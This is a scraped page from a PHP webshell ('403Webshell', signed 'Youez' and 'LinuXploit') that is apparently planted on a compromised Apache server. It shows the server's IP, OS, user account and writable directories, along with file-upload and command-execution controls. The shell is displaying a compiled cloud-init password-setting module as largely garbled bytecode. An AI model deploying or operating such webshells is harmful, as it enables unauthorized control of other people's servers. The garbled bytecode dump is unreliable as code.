403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_set_passwords.cpython-36.pyc
3

��b� �@s�dZddlZddlmZmZddlmZddlmZm	Z	ddl
mZddlm
Z
eje�Zdjd	d
�eeD��Zdd�Zd
d�Zddd�Zddd�ZdS)a�
Set Passwords
-------------
**Summary:** Set user passwords and enable/disable SSH password authentication

This module consumes three top-level config keys: ``ssh_pwauth``, ``chpasswd``
and ``password``.

The ``ssh_pwauth`` config key determines whether or not sshd will be configured
to accept password authentication.  True values will enable password auth,
false values will disable password auth, and the literal string ``unchanged``
will leave it unchanged.  Setting no value will also leave the current setting
on-disk unchanged.

The ``chpasswd`` config key accepts a dictionary containing either or both of
``expire`` and ``list``.

If the ``list`` key is provided, it should contain a list of
``username:password`` pairs.  This can be either a YAML list (of strings), or a
multi-line string with one pair per line.  Each user will have the
corresponding password set.  A password can be randomly generated by specifying
``RANDOM`` or ``R`` as a user's password.  A hashed password, created by a tool
like ``mkpasswd``, can be specified; a regex
(``r'\$(1|2a|2y|5|6)(\$.+){2}'``) is used to determine if a password value
should be treated as a hash.

.. note::
    The users specified must already exist on the system.  Users will have been
    created by the ``cc_users_groups`` module at this point.

By default, all users on the system will have their passwords expired (meaning
that they will have to be reset the next time the user logs in).  To disable
this behaviour, set ``expire`` under ``chpasswd`` to a false value.

If a ``list`` of user/password pairs is not specified under ``chpasswd``, then
the value of the ``password`` config key will be used to set the default user's
password.

**Internal name:** ``cc_set_passwords``

**Module frequency:** per instance

**Supported distros:** all

**Config keys**::

    ssh_pwauth: <yes/no/unchanged>

    password: password1
    chpasswd:
        expire: <true/false>

    chpasswd:
        list: |
            user1:password1
            user2:RANDOM
            user3:password3
            user4:R

    ##
    # or as yaml list
    ##
    chpasswd:
        list:
            - user1:password1
            - user2:RANDOM
            - user3:password3
            - user4:R
            - user4:$6$rL..$ej...
�N)�
ascii_letters�digits)�log)�subp�util)�ug_util)�update_ssh_config�cCsg|]}|dkr|�qS)ZloLOI01�)�.0�xr
r
�&/usr/lib/python3.6/cc_set_passwords.py�
<listcomp>[srcCs�d}tj|�rd}nNtj|�r$d}n>d|}|dks@|j�dkrPtjd||�ntjd||�dSt||i�}|s�tjd	|�dS|jd
|j	dd��tjd
�dS)z�Apply sshd PasswordAuthentication changes.

    @param pw_auth: config setting from 'pw_auth'.
                    Best given as True, False, or "unchanged".
    @param distro: an instance of the distro class for the target distribution

    @return: NoneZPasswordAuthentication�yes�noz"Leaving SSH config '%s' unchanged.NZ	unchangedz%s ssh_pwauth=%sz$%s Unrecognized value: ssh_pwauth=%sz/No need to restart SSH service, %s not updated.ZrestartZssh_svcnameZsshzRestarted the SSH daemon.)
rZis_trueZis_false�lower�LOG�debug�warningrZmanage_serviceZ
get_option)Zpw_auth�distroZcfg_nameZcfg_valZbmsg�updatedr
r
r
�handle_ssh_pwauth^s 

rc-Cs�|r,|d}d|kr:d|dkr:|dd=ntj|dd�}d}d}d|kr�|d}d|kr�|dr�t|dt�r�|jd�tj|d|�}n$|jd�tj|d|�}|r�|j�}tj|d|�}|o�|�rtj	||j
�\}	}
tj|	�\}}|r�d	||fg}n
|jd
�g}
|�rVg}g}g}g}g}	t
jd�}x�|D]�}|jdd
�\}}|j|�dk	�rxd|k�rx|j|�|j|�nH|dk�s�|dk�r�t�}|jd	||f�|jd	||f�|	j|��q4Wdj|�d}|	�r4y|jd|	�t|j
|�Wn<tk
�r2}z|
j|�tj|d|	�WYdd}~XnXdj|�d}|�r�y |jd|�t|j
|dd�Wn<tk
�r�}z|
j|�tj|d|�WYdd}~XnXt|��r�ddj|�f}tjd|ddd�|�rVg}xf|	D]^}y|j
j|�|j|�Wn<tk
�r<}z|
j|�tj|d|�WYdd}~XnX�q�W|�rV|jd|�t|jd�|j
�t|
��r�|jdt|
��|
d�dS)Nr�chpasswd�list�passwordTz$Handling input for chpasswd as list.z0Handling input for chpasswd as multiline string.�expirez%s:%sz2No default or defined user to change password for.z\$(1|2a|2y|5|6)(\$.+){2}�:��RZRANDOM�
zChanging password for %s:z,Failed to set passwords with chpasswd for %szSetting hashed password for %s:)�hashedz3Failed to set hashed passwords with chpasswd for %sz%Set the following 'random' passwords
z%s
%s
F)�stderrZfallback_to_stdoutzFailed to set 'expire' for %szExpired passwords for: %s usersZ
ssh_pwauthz*%s errors occured, re-raising the last one���)rZget_cfg_option_str�
isinstancerrZget_cfg_option_list�
splitlinesZget_cfg_option_boolrZnormalize_users_groupsrZextract_defaultr�re�compile�split�match�append�rand_user_password�joinr�	ExceptionZlogexc�lenZ	multi_logZ
expire_passwdr�get)�_nameZcfgZcloudr�argsrrZplistZchfgZusersZ_groups�userZ_user_config�errors�plist_inZhashed_plist_inZhashed_usersZrandlist�prog�line�u�pZch_in�eZhashed_ch_inZblurbZ
expired_usersr
r
r
�handle}s�










&
r9�cCstj|td�S)N)Zselect_from)rZrand_str�PW_SET)Zpwlenr
r
r
r*�sr*FcCs^tj�r:xP|j�D]"}|jd�\}}|j|||d�qWn dg|rHdgng}tj||�dS)Nr)r rz-e)rZis_BSDr$r'Z
set_passwdr)rr3r Zpentryr6r7�cmdr
r
r
r�sr)r:)F)�__doc__r%�stringrrZ	cloudinitrZloggingrrZcloudinit.distrosrZcloudinit.ssh_utilrZ	getLogger�__name__rr+r;rr9r*rr
r
r
r
�<module>Ns
m


Youez - 2016 - github.com/yon3zu
LinuXploit